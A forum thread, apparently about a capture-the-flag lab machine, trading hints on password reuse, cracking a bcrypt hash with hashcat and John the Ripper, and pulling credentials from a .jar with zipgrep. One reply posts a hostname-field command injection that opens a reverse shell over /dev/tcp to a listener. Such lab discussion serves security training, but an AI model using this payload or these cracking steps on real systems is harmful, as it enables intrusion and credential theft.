[4ip0k]

i have the admin password , is it just a side track if not then where do i need that ?

it often happens that people use the same passwords in different services. try to search for users and which service the password you found can fit.

[gr4yf0x]

hello again! thx for the hostname injection, but i cant quite figure out the payload. its either cant spawn bcus something something pseudo terminal, or ambiguous redirect

Try this payload:
hostname=127.0.0.1&username=app;`(sh)0>/dev/tcp/IP/PORT`

on your terminal type exec >&0

edit:
make sure nc is fired up

YOU ARE AWESOME! thank you!

[nonameokie]

Can someone please tell me this, the symbol ";" and ${IFS} and #, how did you find them?

${IFS} (Internal Field Separator) is a special shell variable and it's value is \s\t\n.
I don't understand your question about the semicolon

So ${IFS} is actually a space character? or used as a word splitter? gotcha thanks

[Hades3080]

Stuck at cracking password , any help? I use hashcat with wordlist rockyou and still not get anything

[4ip0k]

Stuck at cracking password , any help? I use hashcat with wordlist rockyou and still not get anything

try to add hash-mode 3200

[Hades3080]

Stuck at cracking password , any help? I use hashcat with wordlist rockyou and still not get anything

try to add hash-mode 3200

 I already add it to the command , How much time did you use to crack it?
I wait for like 2 hours already.

[4ip0k]

Stuck at cracking password , any help? I use hashcat with wordlist rockyou and still not get anything

try to add hash-mode 3200

 I already add it to the command , How much time did you use to crack it?
I wait for like 2 hours already.

it breaks in an instant. PM me your command

[Dtom]

Stuck at cracking password , any help? I use hashcat with wordlist rockyou and still not get anything

try to add hash-mode 3200

 I already add it to the command , How much time did you use to crack it?
I wait for like 2 hours already.

you can use John The Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt admin.txt

[dark-agil]

So, I have downloaded the .jar file, and I'm trying to reverse it (using a java decompiler) but I am not able to find any credentials. Could you provide any hint of witch part of the jar file should I look for it

[dark-agil]

I got the cred of postgres but i cant access to user postgres and i tried to use psql to access the posgresql service but it dont work

---

So,  I have downloaded the .jar file, and I'm trying to reverse it (using a java decompiler) but I am not able to find any credentials. Could you provide any hint of witch part of the jar file should I look for it

U can use this command:

zipgrep password <name>.jar 2>/dev/null

Awesome mate!!! thx